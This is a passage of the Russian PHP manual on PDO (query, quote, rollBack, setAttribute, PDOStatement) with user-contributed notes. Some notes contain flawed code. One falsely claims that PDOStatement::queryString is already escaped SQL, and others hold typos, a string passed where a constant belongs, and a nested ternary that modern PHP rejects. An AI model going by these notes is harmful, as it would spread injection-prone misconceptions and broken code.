            $paramArray[]=$field2;
        }
        if(!empty($field3)) {
            $sql[]='field3=?';
            $paramArray[]=$field3;
        }
        $rs=$db->prepare('SELECT * FROM mytable'.(count($paramArray)>0 ? ' WHERE '.join(' AND ',$sql) : ''));
        $result=$rs->execute($paramArray);
        if($result) {
            return $rs;
        }
        return false;
    }

?>
william dot clarke at gmail dot com 31-Aug-2006 03:58
Surely if you want to use prepared statements that way you should use the syntax in the second example:

eg.

instead of:
select id,name from demo_de where name LIKE :name OR name=:name

use:
select id,name from demo_de where name LIKE ? OR name=?

I believe you are supposed to either use distinct named parameters (name, name1) OR anonymous parameters (?s)
roth at egotec dot com 30-Aug-2006 01:58
Attention using MySQL and prepared statements.
Using a placeholder multiple times inside a statement doesn't work. PDO just translates the first occurance und leaves the second one as is.

select id,name from demo_de where name LIKE :name OR name=:name

You have to use

select id,name from demo_de where name LIKE :name OR name=:name2

and bind name two times. I don't know if other databases (for example Oracle or MSSQL) support multiple occurances. If that's the fact, then the PDO behaviour for MySQL should be changed.


Подготавливает и выполняет выражение SQL без заполнителей

  • « PDO::prepare
  • PDO::quote »
  • PHP Manual
  • PDO
  • Подготавливает и выполняет выражение SQL без заполнителей

PDO::query

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.2.0)

PDO::query — Подготавливает и выполняет выражение SQL без заполнителей

Описание

public PDO::query(string $query, ?int $fetchMode = null): PDOStatement|false
public PDO::query(string $query, ?int $fetchMode = PDO::FETCH_COLUMN, int $colno): PDOStatement|false
public PDO::query(
string $query,
?int $fetchMode = PDO::FETCH_CLASS,
string $classname,
array $constructorArgs
): PDOStatement|false
public PDO::query(string $query, ?int $fetchMode = PDO::FETCH_INTO, object $object): PDOStatement|false

PDO::query() подготавливает и выполняет выражение SQL за один вызов функции, возвращая выражение как объект PDOStatement.

Если запрос будет запускаться многократно, для улучшения производительности приложения имеет смысл этот запрос один раз подготовить PDOStatement методом PDO::prepare(), а затем запускать на выполнение методом PDOStatement::execute() столько раз, сколько потребуется.

Если после выполнения предыдущего запроса вы не выбрали все данные из результирующего набора, следующий вызов PDO::query() может потерпеть неудачу. В таких случаях следует вызывать метод PDOStatement::closeCursor(), который освободит ресурсы базы данных, занятые предыдущим объектом PDOStatement. После этого можно безопасно вызывать PDO::query().

Замечание:

Если query содержит заполнители, выражение должно быть подготовлено и выполнено отдельно с использованием методов PDO::prepare() и PDOStatement::execute().

Список параметров

query

SQL-запрос для подготовки и выполнения.

Если SQL содержит заполнители, вместо этого метода следует использовать PDO::prepare() и PDOStatement::execute(). В качестве альтернативы, SQL можно подготовить вручную перед вызовом PDO::query(), при этом данные должны быть правильно отформатированы с использованием PDO::quote(), если драйвер поддерживает это.

fetchMode

Режим выборки по умолчанию для возвращённого PDOStatement. Должен быть одной из констант PDO::FETCH_*.

Если этот аргумент передаётся функции, остальные аргументы будут обрабатываться так, как если бы PDOStatement::setFetchMode() был вызван для полученного объекта выражения. Последующие аргументы зависят от выбранного режима выборки.

Возвращаемые значения

Возвращает объект PDOStatement или false в случае возникновения ошибки.

Ошибки

Выдаёт ошибку уровня E_WARNING, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_WARNING.

Выбрасывает исключение PDOException, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_EXCEPTION.

Примеры

Пример #1 SQL без заполнителей может быть выполнен с использованием PDO::query()

<?php
$sql = 'SELECT name, color, calories FROM fruit ORDER BY name';
foreach ($conn->query($sql) as $row) {
print $row['name'] . "\t";
print $row['color'] . "\t";
print $row['calories'] . "\n";
}
?>

Результат выполнения данного примера:

apple   red     150
banana  yellow  250
kiwi    brown   75
lemon   yellow  25
orange  orange  300
pear    green   150
watermelon      pink    90

Смотрите также

  • PDO::exec() - Выполняет SQL-запрос и возвращает количество затронутых строк
  • PDO::prepare() - Подготавливает запрос к выполнению и возвращает связанный с этим запросом объект
  • PDOStatement::execute() - Запускает подготовленный запрос на выполнение

User Contributed Notes

JJimenez 23-Oct-2023 10:00
When you make a wraper for PDO:query, you must define the method like this:

public function query( string $sql,  ?int $fetchMode = null, mixed ...$fetchModeArgs) : \PDOStatement|false

if you delete one of the parameters or use one of the oficials parameters you get a Fatal error
Ilyas Bakirov 31-Mar-2021 06:22
I would like to mention fetching rows from SQL query using PDO:

<?php

$dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass);

// use the connection here
$sth = $dbh->query('SELECT * FROM countries');

// fetch all rows into array, by default PDO::FETCH_BOTH is used
$rows = $stm->fetchAll();

// iterate over array by index and by name
foreach($rows as $row) {

    printf("$row[0] $row[1] $row[2]\n");
    printf("$row['id'] $row['name'] $row['population']\n");

}
?>
stefano[dot]bertoli [at] gmail[dot]com 08-Sep-2014 02:14
Trying to pass like second argument PDO::FETCH_ASSOC it still work.

So passing FETCH TYPE like argument seems work.

This save you from something like:

<?php
$result = $stmt->setFetchMode(PDO::FETCH_NUM);
?>

Example:
<?php
$res = $db->query('SELECT * FROM `mytable` WHERE true', PDO::FETCH_ASSOC);

?>
marcos at marcosregis dot com 24-Sep-2008 09:14
After a lot of hours working with DataLink on Oracle->MySQL and PDO we (me and Adriano Rodrigues, that solve it) discover that PDO (and oci too) need the attribute AUTOCOMMIT set to FALSE to work correctly with.
There's  3 ways to set autocommit to false: On constructor, setting the atribute after construct and before query data or initiating a Transaction (that turns off autocommit mode)

The examples:
<?php
// First way - On PDO Constructor
$options = array(PDO::ATTR_AUTOCOMMIT=>FALSE);

$pdo = new PDO($dsn,$user,$pass,$options);

// now we are ready to query DataLinks

?>

<?php
// Second Way - Before create statements
$pdo = new PDO($dsn,$user,$pass);

$pdo->setAttribute(PDO::ATTR_AUTOCOMMIT,FALSE);
// or
$pdo->beginTransaction();

// now we are ready to query DataLinks
?>

To use DataLinks on oci just use OCI_DEFAULT on oci_execute() function;
fredrik at NOSPAM dot rambris dot com 05-May-2007 09:04
The handling of errors by this function is controlled by the attribute PDO::ATTR_ERRMODE.

Use the following to make it throw an exception:
<?php
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
?>
dozoyousan at gmail dot com 02-May-2006 10:26
> When query() fails, the boolean false is returned.

I think that is "Silent Mode".
If that set attribute ErrorMode "Exception Mode"
then that throw PDOException.
 $pdoObj = new PDO( $dsn, $user, $pass );
 $pdoObj->setAttribute("PDO::ATTR_ERRMODE", PDO::ERRMODE_EXCEPTION);


Заключает строку в кавычки для использования в запросе

  • « PDO::query
  • PDO::rollBack »
  • PHP Manual
  • PDO
  • Заключает строку в кавычки для использования в запросе

PDO::quote

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.2.1)

PDO::quote — Заключает строку в кавычки для использования в запросе

Описание

public PDO::quote(string $string, int $type = PDO::PARAM_STR): string|false

PDO::quote() заключает строку в кавычки (если требуется) и экранирует специальные символы внутри строки подходящим для драйвера способом.

Если вы используете эту функцию для построения SQL запросов, настоятельно рекомендуется пользоваться методом PDO::prepare() для подготовки запроса с псевдопеременными вместо использования PDO::quote() для вставки данных введённых пользователем в SQL запрос. Подготавливаемые запросы с параметрами не только компактней, удобней, устойчивей к SQL-инъекции, но и работают быстрее, нежели вручную построенные запросы, так как клиент и сервер могут кешировать такие запросы в уже скомпилированном виде.

Не все драйверы PDO реализуют этот метод (особенно PDO_ODBC). Предполагается, что вместо него будут использоваться подготавливаемые запросы.

Предостережение

Безопасность: набор символов по умолчанию

Для корректной работы PDO::quote() набор символов должен быть задан либо на сервере, либо задаваться самим соединением с базой данных (это зависит от драйвера). Подробнее смотрите документацию к драйверу базы данных.

Список параметров

string

Экранируемая строка.

type

Предоставляет подсказку о типе данных для драйверов, которые имеют альтернативные способы экранирования. Например, PDO_PARAM_LOB укажет драйверу экранировать двоичные данные.

Возвращаемые значения

Возвращает экранированную строку, которую теоретически безопасно использовать в теле SQL запроса. Возвращает false, если драйвер не поддерживает экранирование.

Примеры

Пример #1 Экранирование обычной строки

<?php
$conn = new PDO('sqlite:/home/lynn/music.sql3');

/* простая строка */
$string = 'Nice';
print "Неэкранированная строка: $string\n";
print "Экранированная строка: " . $conn->quote($string) . "\n";
?>

Результат выполнения данного примера:

Неэкранированная строка: Nice
Экранированная строка: 'Nice'

Пример #2 Экранирование небезопасной строки

<?php
$conn = new PDO('sqlite:/home/lynn/music.sql3');

/* небезопасная строка */
$string = 'Naughty \' string';
print "Неэкранированная строка: $string\n";
print "Экранированная строка:" . $conn->quote($string) . "\n";
?>

Результат выполнения данного примера:

Неэкранированная строка: Naughty ' string
Экранированная строка: 'Naughty '' string'

Пример #3 Экранирование сложной строки

<?php
$conn = new PDO('sqlite:/home/lynn/music.sql3');

/* сложная строка */
$string = "Co'mpl''ex \"st'\"ring";
print "Неэкранированная строка: $string\n";
print "Экранированная строка: " . $conn->quote($string) . "\n";
?>

Результат выполнения данного примера:

Неэкранированная строка: Co'mpl''ex "st'"ring
Экранированная строка: 'Co''mpl''''ex "st''"ring'

Смотрите также

  • PDO::prepare() - Подготавливает запрос к выполнению и возвращает связанный с этим запросом объект
  • PDOStatement::execute() - Запускает подготовленный запрос на выполнение

User Contributed Notes

There are no user contributed notes for this page.


Откат транзакции

  • « PDO::quote
  • PDO::setAttribute »
  • PHP Manual
  • PDO
  • Откат транзакции

PDO::rollBack

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDO::rollBack — Откат транзакции

Описание

public PDO::rollBack(): bool

Откатывает изменения в базе данных сделанные в рамках текущей транзакции, которая была создана методом PDO::beginTransaction().

Если в СУБД включён режим автофиксации изменений, эта функция восстановит этот режим после отката.

Некоторые СУБД, включая MySQL, автоматически неявно фиксируют изменения, когда встречаются выражения языка определения базы данных (DDL), выполняемые в рамках транзакции. Эта неявная фиксация делает невозможным откат других изменений, сделанных в рамках этой транзакции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Если активной транзакции нет, будет выброшено исключение PDOException.

Замечание: Исключение будет вызвано, даже если атрибут PDO::ATTR_ERRMODE не выставлен в PDO::ERRMODE_EXCEPTION.

Примеры

Пример #1 Откат транзакции

В следующем примере создаётся транзакция и выполняются два запроса, которые модифицируют данные в базе, а затем база возвращается к исходному состоянию. В MySQL, тем не менее, выражение DROP TABLE автоматически фиксирует изменения, поэтому их откат не произойдёт.

<?php
/* Начинаем транзакцию, отключение автоматической фиксации */
$dbh->beginTransaction();

/* Изменяем схему базы данных и данные в таблицах */
$sth = $dbh->exec("DROP TABLE fruit");
$sth = $dbh->exec("UPDATE dessert
SET name = 'hamburger'");

/* Осознаем свою ошибку и откатываем транзакцию */
$dbh->rollBack();

/* База данных возвращается в режим автофиксации */
?>

Смотрите также

  • PDO::beginTransaction() - Инициализация транзакции
  • PDO::commit() - Фиксирует транзакцию
  • Транзакции и автофиксация изменений

User Contributed Notes

Petros Giakouvakis 10-Nov-2010 01:30
Should anyone reading this be slightly panicked because they just discovered that their MySQL  tables are MyIsam and not InnoDb, don't worry... You can very easily change the storage engine using the following query:

ALTER TABLE your_table_name ENGINE = innodb;
brian at diamondsea dot com 25-Mar-2008 07:19
Here is a way of testing that your transaction has started when using MySQL's InnoDB tables.  It will fail if you are using MySQL's MyISAM tables, which do not support transactions but will also not return an error when using them.

<?
// Begin the transaction
$dbh->beginTransaction();

// To verify that a transaction has started, try to create an (illegal for InnoDB) nested transaction.
//    If it works, the first transaction did not start correctly or is unsupported (such as on MyISAM tables)
try {
    $dbh->beginTransaction();
    die('Cancelling, Transaction was not properly started');
} catch (PDOException $e) {
    print "Transaction is running (because trying another one failed)\n";
}
?>
JonasJ 08-Jan-2008 01:59
Just a quick (and perhaps obvious) note for MySQL users;

Don't scratch your head if it isn't working if you are using a MyISAM table to test the rollbacks with.

Both rollBack() and beginTransaction() will return TRUE but the rollBack will not happen.

Convert the table to InnoDB and run the test again.
linfo2003 at libero dot it 29-May-2007 07:07
Since "It is an error to call this method if no transaction is active", it could be useful (even if not indispensable) to have a method which returns true if a transaction is active.

try {
    $dbh->beginTransaction();
    ...
} catch (PDOException $e) {
    if ($dbh->isTransactionActive())  // this function does NOT exist
        $dbh->rollBack();
    ...
}

In the meanwhile, I'm using this code:

    ...
} catch (PDOException $e) {
    try { $dbh->rollBack(); } catch (Exception $e2) {}
    ...
}

It's not so chic, but it works fine.


Установка атрибута

  • « PDO::rollBack
  • PDOStatement »
  • PHP Manual
  • PDO
  • Установка атрибута

PDO::setAttribute

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDO::setAttribute — Установка атрибута

Описание

public PDO::setAttribute(int $attribute, mixed $value): bool

Устанавливает атрибут объекту PDO. Некоторые основные атрибуты приведены ниже; отдельные драйверы могут использовать собственные дополнительные атрибуты. Обратите внимание, что атрибуты драйвера не должны использоваться с другими драйверами.

PDO::ATTR_CASE

Принудительное приведение имён столбцов к определённому регистру. Может принимать одно из следующих значений:

PDO::CASE_LOWER
Принудительное приведение имён столбцов к нижнему регистру.
PDO::CASE_NATURAL
Оставить имена столбцов в том виде, в котором их возвращает драйвер базы данных.
PDO::CASE_UPPER
Принудительное приведение имён столбцов к верхнему регистру.
PDO::ATTR_ERRMODE

Режим сообщения об ошибках PDO. Может принимать одно из следующих значений:

PDO::ERRMODE_SILENT
Устанавливает только коды ошибок.
PDO::ERRMODE_WARNING
Вызывает диагностику ошибок уровня E_WARNING.
PDO::ERRMODE_EXCEPTION
Выбрасывает PDOException.
PDO::ATTR_ORACLE_NULLS

Замечание: Атрибут доступен для всех драйверов, а не только для Oracle.

Определяет, следует ли и как преобразовывать null и пустые строки. Может принимать одно из следующих значений:

PDO::NULL_NATURAL
Никакого преобразования не происходит.
PDO::NULL_EMPTY_STRING
Пустые строки преобразуются в null.
PDO::NULL_TO_STRING
null преобразуется в пустую строку.
PDO::ATTR_STRINGIFY_FETCHES

Следует ли преобразовывать числовые значения в строки при выборке. Принимает логическое значение (bool): true для включения и false для выключения.

PDO::ATTR_STATEMENT_CLASS

Установка пользовательского класса оператора, производного от PDOStatement. Требуется array(string classname, array(mixed constructor_args)).

Предостережение

Не может использоваться с постоянными экземплярами PDO.

PDO::ATTR_TIMEOUT

Указывает продолжительность времени ожидания в секундах. Принимает значение в виде целого числа (int).

Замечание:

Не все драйверы поддерживают этот параметр и его значение может отличаться от драйвера к драйверу. Например, SQLite будет ждать до этого значения времени, прежде чем отказаться от получения блокировки на запись, но другие драйверы могут интерпретировать это как интервал ожидания соединения или чтения.

PDO::ATTR_AUTOCOMMIT

Замечание: Доступно только для драйверов OCI, Firebird и MySQL.

Следует ли автоматически фиксировать каждый отдельный оператор. Принимает логическое значение (bool): true для включения и false для отключения. По умолчанию true.

PDO::ATTR_EMULATE_PREPARES

Замечание: Доступно только для драйверов OCI, Firebird и MySQL.

Включить или отключить эмуляцию подготовленных запросов. Некоторые драйверы не поддерживают подготовленные запросы нативно или имеют ограниченную поддержку. Если установлено значение true PDO всегда будет эмулировать подготовленные запросы, в противном случае PDO будет пытаться использовать встроенные подготовленные запросы. Если драйвер не сможет успешно подготовить текущий запрос, PDO всегда будет возвращаться к эмуляции подготовленного запроса.

PDO::MYSQL_ATTR_USE_BUFFERED_QUERY

Замечание: Доступно только для драйвера MySQL.

Определяет, использовать ли буферизованные запросы. Принимает логическое значение (bool): true для включения и false для отключения. По умолчанию true.

PDO::ATTR_DEFAULT_FETCH_MODE

Устанавливает режим выборки по умолчанию. Описание режимов и их использования доступно в документации PDOStatement::fetch().

Список параметров

attribute

Атрибут для изменения.

value

Значение для установки параметра attribute, может потребовать определённого типа в зависимости от атрибута.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • PDO::getAttribute() - Получить атрибут соединения с базой данных
  • PDOStatement::getAttribute() - Получение значения атрибута запроса PDOStatement
  • PDOStatement::setAttribute() - Устанавливает атрибут объекту PDOStatement

User Contributed Notes

Anonymous 19-Oct-2021 01:15
Note that contrary to most PDO methods, setAttribute does not throw a PDOException when it returns false.
rob51 at mac dot com 07-Nov-2018 03:10
Where would I find the default values of attributes?
yeboahnanaosei at gmail dot com 22-Dec-2017 04:42
This is an update to a note I wrote earlier concerning how to set multiple attributes when you create you PDO connection string.

You can put all the attributes you want in an associative array and pass that array as the fourth parameter in your connection string. So it goes like this:
<?php
$options = [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_CASE => PDO::CASE_NATURAL,
    PDO::ATTR_ORACLE_NULLS => PDO::NULL_EMPTY_STRING
];

// Now you create your connection string
try {
    // Then pass the options as the last parameter in the connection string
    $connection = new PDO("mysql:host=$host; dbname=$dbname", $user, $password, $options);

    // That's how you can set multiple attributes
} catch(PDOException $e) {
    die("Database connection failed: " . $e->getMessage());
}
?>
vstoykov at proab dot info 19-Dec-2017 02:29
I am using PHP 5.6 and MySQL 5.0 on GoDaddy.
When executing a query like this:
<?php
    $stmt = $this->PDO->query("SHOW CREATE TABLE table");
?>
I get:
Uncaught exception 'PDOException' with message
'SQLSTATE[HY000]: General error: 2030 This command is not supported in the prepared statement protocol yet'
After I added:
<?php
    $this->PDO->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);
?>
the query was executed successfully.
guillaume at thug dot com 09-Nov-2017 03:07
function pdo_connect(){
  try {

      $pdo = new PDO('mysql:host=localhost;dbname='.DB_NAME, DB_USER, DB_PASS);
      $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
      $pdo->setAttribute( PDO::ATTR_EMULATE_PREPARES, false );
      $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);

  } catch (PDOException $e) {

      die("Error!: " . $e->getMessage() . "<br/>");

  }

  return $pdo;
}
yeboahnanaosei at gmail dot com 11-Aug-2017 11:36
Well, I have not seen it mentioned anywhere and thought its worth mentioning. It might help someone. If you are wondering whether you can set multiple attributes then the answer is yes.

You can do it like this:
try {
    $connection = new PDO("mysql:host=$host; dbname=$dbname", $user, $password);
    // You can begin setting all the attributes you want.
    $connection->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $connection->setAttribute(PDO::ATTR_CASE, PDO::CASE_NATURAL);
    $connection->setAttribute(PDO::ATTR_ORACLE_NULLS, PDO::NULL_EMPTY_STRING);

    // That's how you can set multiple attributes
}
catch(PDOException $e)
{
    die("Database connection failed: " . $e->getMessage());
}

I hope this helps somebody. :)
steve at websmithery dot co dot uk 04-Jul-2017 07:21
For PDO::ATTR_EMULATE_PREPARES, the manual states a boolean value is required. However, when getAttribute() is used to check this value, an integer (1 or 0) is returned rather than true or false.

This means that if you are checking a PDO object is configured as required then

<?php
        // Check emulate prepares is off
        if ($pdo->getAttribute(\PDO::ATTR_EMULATE_PREPARES) !== false) {
            /* do something */
        }
?>

will always 'do something', regardless.

Either

<?php
        // Check emulate prepares is off
        if ($pdo->getAttribute(\PDO::ATTR_EMULATE_PREPARES) != false) {
            /* do something */
        }
?>

or

<?php
        // Check emulate prepares is off
        if ($pdo->getAttribute(\PDO::ATTR_EMULATE_PREPARES) !== 0) {
            /* do something */
        }
?>

is needed instead.

Also worth noting that setAttribute() does, in fact, accept an integer value if you want to be consistent.
justinasu at gmail dot com 22-Dec-2015 06:51
in v5.5 PDO::MYSQL_ATTR_USE_BUFFERED_QUERY can only be set in PDO constructor, not by passing it into setAttribute.
If you set it with setAttribute it will not work. getAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY) will return 0.
antoyo 11-Jan-2011 05:49
There is also a way to specifie the default fetch mode :
<?php
$connection = new PDO($connection_string);
$connection->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_OBJ);
?>
colinganderson [at] gmail [dot] com 18-May-2007 07:59
Because no examples are provided, and to alleviate any confusion as a result, the setAttribute() method is invoked like so:

setAttribute(ATTRIBUTE, OPTION);

So, if I wanted to ensure that the column names returned from a query were returned in the case the database driver returned them (rather than having them returned in all upper case [as is the default on some of the PDO extensions]), I would do the following:

<?php
// Create a new database connection.
$dbConnection = new PDO($dsn, $user, $pass);

// Set the case in which to return column_names.
$dbConnection->setAttribute(PDO::ATTR_CASE, PDO::CASE_NATURAL);
?>

Hope this helps some of you who learn by example (as is the case with me).

.Colin
gregory dot szorc at gmail dot com 14-Feb-2007 08:32
It is worth noting that not all attributes may be settable via setAttribute().  For example, PDO::MYSQL_ATTR_MAX_BUFFER_SIZE is only settable in PDO::__construct().  You must pass PDO::MYSQL_ATTR_MAX_BUFFER_SIZE as part of the optional 4th parameter to the constructor.  This is detailed in http://bugs.php.net/bug.php?id=38015
m dot leuffen at gmx dot de 25-Jul-2006 06:44
Hi,

if you are wondering about a size-bound (1 MB) on blob and text fields after upgrading to PHP5.1.4. You might try to increase this limit by using the setAttribute() method.

This will fail. Instead use the options array when instantiating the pdo:

$pdo = new PDO ("connection_settings", "user", "pass", array
(PDO::MYSQL_ATTR_MAX_BUFFER_SIZE=>1024*1024*50));

This should fix the problem and increase the limit to 50 MB.

Bye,
  Matthias


Класс PDOStatement

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 1.0.0)

Введение

Представляет подготовленный запрос к базе данных, а после выполнения запроса соответствующий результирующий набор.

Обзор классов

class PDOStatement implements IteratorAggregate {
/* Свойства */
public string $queryString;
/* Методы */
public bindColumn(
string|int $column,
mixed &$var,
int $type = PDO::PARAM_STR,
int $maxLength = 0,
mixed $driverOptions = null
): bool
public bindParam(
string|int $param,
mixed &$var,
int $type = PDO::PARAM_STR,
int $maxLength = 0,
mixed $driverOptions = null
): bool
public bindValue(string|int $param, mixed $value, int $type = PDO::PARAM_STR): bool
public closeCursor(): bool
public columnCount(): int
public debugDumpParams(): ?bool
public errorCode(): ?string
public errorInfo(): array
public execute(?array $params = null): bool
public fetch(int $mode = PDO::FETCH_DEFAULT, int $cursorOrientation = PDO::FETCH_ORI_NEXT, int $cursorOffset = 0): mixed
public fetchAll(int $mode = PDO::FETCH_DEFAULT): array
public fetchAll(int $mode = PDO::FETCH_COLUMN, int $column): array
public fetchAll(int $mode = PDO::FETCH_CLASS, string $class, ?array $constructorArgs): array
public fetchAll(int $mode = PDO::FETCH_FUNC, callable $callback): array
public fetchColumn(int $column = 0): mixed
public fetchObject(?string $class = "stdClass", array $constructorArgs = []): object|false
public getAttribute(int $name): mixed
public getColumnMeta(int $column): array|false
public getIterator(): Iterator
public nextRowset(): bool
public rowCount(): int
public setAttribute(int $attribute, mixed $value): bool
public setFetchMode(int $mode): bool
public setFetchMode(int $mode = PDO::FETCH_COLUMN, int $colno): bool
public setFetchMode(int $mode = PDO::FETCH_CLASS, string $class, ?array $constructorArgs = null): bool
public setFetchMode(int $mode = PDO::FETCH_INTO, object $object): bool
}

Свойства

queryString

Используемая строка запроса.

Список изменений

Версия | Описание
8.0.0 | PDOStatement теперь реализует интерфейс IteratorAggregate вместо Traversable.

Содержание

  • PDOStatement::bindColumn — Связывает столбец с переменной PHP
  • PDOStatement::bindParam — Привязывает параметр запроса к переменной
  • PDOStatement::bindValue — Связывает параметр с заданным значением
  • PDOStatement::closeCursor — Закрывает курсор, переводя запрос в состояние готовности к повторному запуску
  • PDOStatement::columnCount — Возвращает количество столбцов в результирующем наборе
  • PDOStatement::debugDumpParams — Вывод информации о подготовленной SQL-команде в целях отладки
  • PDOStatement::errorCode — Получает код SQLSTATE, связанный с последней операцией в объекте PDOStatement
  • PDOStatement::errorInfo — Получение расширенной информации об ошибке, произошедшей в результате работы объекта PDOStatement
  • PDOStatement::execute — Запускает подготовленный запрос на выполнение
  • PDOStatement::fetch — Извлечение следующей строки из результирующего набора
  • PDOStatement::fetchAll — Выбирает оставшиеся строки из набора результатов
  • PDOStatement::fetchColumn — Возвращает данные одного столбца следующей строки результирующего набора
  • PDOStatement::fetchObject — Извлекает следующую строку и возвращает её в виде объекта
  • PDOStatement::getAttribute — Получение значения атрибута запроса PDOStatement
  • PDOStatement::getColumnMeta — Возвращает метаданные столбца в результирующей таблице
  • PDOStatement::getIterator — Получает итератор набора результатов
  • PDOStatement::nextRowset — Переход к следующему набору строк в результате запроса
  • PDOStatement::rowCount — Возвращает количество строк, затронутых последним SQL-запросом
  • PDOStatement::setAttribute — Устанавливает атрибут объекту PDOStatement
  • PDOStatement::setFetchMode — Устанавливает режим выборки по умолчанию для объекта запроса

User Contributed Notes

nmurzin at mail dot ru 09-Dec-2020 08:22
I think I found a way to execute a protected SQL query and at the same time find out the number of affected records.
I have the table 'tbl_users' with the following fields: id, login, password, age

<?
const DB_DRIVER = "mysql";
const DB_HOST = "localhost";
const DB_NAME = "my_db_name";
const DB_LOGIN = "root";
const DB_PASS = "root"; //OpenServer.

$connectionString = DB_DRIVER.':host='.DB_HOST.';dbname='.DB_NAME;
try
{
    //Connect to database.
    $db = new PDO($connectionString, DB_LOGIN, DB_PASS);
}
catch(PDOException $e)
{
    die("Error: ".$e->getMessage());
}
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

try
{

    //Decreasing age for user 'nick1'.
    $prep1 = $db->prepare("UPDATE tbl_users SET age=age-1 WHERE login='nick1'");

    //Increasing age for user 'nick2'.
    $prep2 = $db->prepare("UPDATE tbl_users SET \r\n age=age+1 WHERE login='nick2'");

    //Start transaction.
    $db->beginTransaction(); //Table type must be InnerDB!

    //We assume that everything will be fine.
    $flagDone = true;

    //The exec() method returns the number of rows affected by the query.
    //$prep1->queryString is already an escaped SQL string.
    $result = $db->exec($prep1->queryString);
    if($result==false || $result!=1) //var_dump($result) - int(1) or bool(false).
        $flagDone = false;

    $result = $db->exec($prep2->queryString);
    if($result==false || $result!=1)
        $flagDone = false;

    if($flagDone)
    {
        if($db->commit())
            echo "Transaction was successful";
    }
    else{
            echo "Transaction fail";
            $db->rollback();
    }
    echo "<br>";

}
catch(PDOException $e)
{
    die("Error: ".$e->getMessage());
}
Gino D. 17-Oct-2017 10:01
I don't know why PDOStatement don't return "execution time" and "found rows" so here I created an extended class of PDOStatement with these attributes.

Just have to "setAttribute" of PDO's object to $PDO->setAttribute(\PDO::ATTR_STATEMENT_CLASS , ['\customs\PDOStatement', [&$this]]);

<?php

/**
*
*
*
*/

namespace customs;

/**
*
*
*
*/

final class PDOStatement extends \PDOStatement {

    /**
    *
    *
    *
    */

    protected $PDO = null;
    protected $inputParams = [];
    protected $executionTime = 0;
    protected $resultCount = 0;

    /**
    *
    *
    *
    */

    protected function __construct(PDO &$PDO) {
        $this->PDO = $PDO;
        $this->executionTime = microtime(true);
    }

    /**
    *
    *
    *
    */

    final public function getExecutionError(int $i = 2) {
        $executionError = $this->errorInfo();

        if (isset($executionError[$i]))
            return $executionError[$i];

        return $executionError;
    }

    /**
    *
    *
    *
    */

    final public function getExecutionTime($numberFormat = false, $decPoint = '.', $thousandsSep = ',') {
        if (is_numeric($numberFormat))
            return number_format($this->executionTime, $numberFormat, $decPoint, $thousandsSep);

        return $this->executionTime;
    }

    /**
    *
    *
    *
    */

    final public function getResultCount($numberFormat = false, $decPoint = '.', $thousandsSep = ',') {
        if (is_numeric($numberFormat))
            return number_format($this->resultCount, $numberFormat, $decPoint, $thousandsSep);

        return $this->resultCount;
    }

    /**
    *
    *
    *
    */

    final public function getLastInsertId() {
        return $this->PDO->lastInsertId();
    }

    /**
    *
    *
    *
    */

    final public function bindValues(array $inputParams) {
        foreach ($this->inputParams = array_values($inputParams) as $i => $value) {
            $varType = is_null($value) ? \PDO::PARAM_NULL : is_bool($value) ? \PDO::PARAM_BOOL : is_int($value) ? \PDO::PARAM_INT : \PDO::PARAM_STR;

            if (!$this->bindValue(++ $i, $value, $varType))
                return false;
        }

        return true;
    }

    /**
    *
    *
    *
    */

    final public function execute($inputParams = null) {
        if ($inputParams)
            $this->inputParams = $inputParams;

        if ($executed = parent::execute($inputParams))
            $this->executionTime = microtime(true) - $this->executionTime;

        return $executed;
    }

    /**
    *
    *
    *
    */

    final public function fetchAll($how = null, $className = null, $ctorArgs = null) {
        $resultSet = parent::fetchAll(... func_get_args());

        if (!empty($resultSet)) {
            $queryString = $this->queryString;
            $inputParams = $this->inputParams;

            if (preg_match('/(.*)?LIMIT/is', $queryString, $match))
                $queryString = $match[1];

            $queryString = sprintf('SELECT COUNT(*) AS T FROM (%s) DT', $queryString);

            if (($placeholders = substr_count($queryString, '?')) < count($inputParams))
                $inputParams = array_slice($inputParams, 0, $placeholders);

            if (($sth = $this->PDO->prepare($queryString)) && $sth->bindValues($inputParams) && $sth->execute())
                $this->resultCount = $sth->fetchColumn();

            $sth = null;
        }

        return $resultSet;
    }
}
?>


Связывает столбец с переменной PHP

  • « PDOStatement
  • PDOStatement::bindParam »
  • PHP Manual
  • PDOStatement
  • Связывает столбец с переменной PHP

PDOStatement::bindColumn

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDOStatement::bindColumn — Связывает столбец с переменной PHP

Описание

public PDOStatement::bindColumn(
string|int $column,
mixed &$var,
int $type = PDO::PARAM_STR,
int $maxLength = 0,
mixed $driverOptions = null
): bool

PDOStatement::bindColumn() привязывает переменную к заданному столбцу в результирующем наборе запроса. Каждый вызов PDOStatement::fetch() или PDOStatement::fetchAll() будет обновлять все переменные, задавать им значения столбцов, с которыми они связаны.

Замечание:

В связи с тем, что информация о столбцах результирующего набора запроса не всегда доступна объекту PDO, пока запрос не будет запущен, приложениям следует вызывать этот метод после вызова PDOStatement::execute().

